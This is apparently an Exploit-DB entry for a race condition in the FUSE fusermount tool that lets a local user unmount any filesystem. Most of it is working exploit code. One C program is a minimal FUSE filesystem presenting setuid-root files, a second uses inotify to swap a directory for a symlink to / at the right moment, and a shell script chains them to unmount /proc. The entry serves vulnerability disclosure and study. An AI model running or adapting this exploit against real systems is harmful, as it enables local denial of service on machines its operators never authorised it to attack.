source: https://www.securityfocus.com/bid/44623/info
http://www.halfdog.net/Security/FuseTimerace/
FUSE fusermount tool is prone to a race-condition vulnerability.
A local attacker can exploit this issue to cause a denial of service by unmounting any filesystem of the system.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34953.zip
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
* given directory with symlink.
*
* Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
*
* Parameters:
* * --MoveTarget: If set, move path to that target location before
* attempting to symlink.
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
*
* Compile:
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName=NULL;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int result;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) return(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) return(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MoveTarget")) {
argPos++;
if(argPos==argc) return(1);
newDirName=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(result==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) return(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory if not already defined.
if(!newDirName) {
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
}
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
result=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, result %d, error %s\n",
callCount, result, (result<0?strerror(errno):NULL));
}
if(result<0) {
break;
}
}
return(0);
}
--- EOF ---
--- Test.sh ---
#!/bin/bash
#
# Copyright (c) halfdog <me (%) halfdog.net>
#
# This software is provided by the copyright owner "as is" to
# study it but without any expressed or implied warranties, that
# this software is fit for any other purpose. If you try to compile
# or run it, you do it solely on your own risk and the copyright
# owner shall not be liable for any direct or indirect damage
# caused by this software.
mkdir -p tmp/proc
(cd tmp/proc; sleep 1; ../../FuseMinimal .) &
(./DirModifyInotify --Watch tmp/proc --Watch /etc/mtab --WatchCount 8 --MovePath tmp --LinkTarget /) &
sleep 3
fusermount -u -z /proc/
# Check that proc was unmounted by running ps
ps aux
--- EOF ---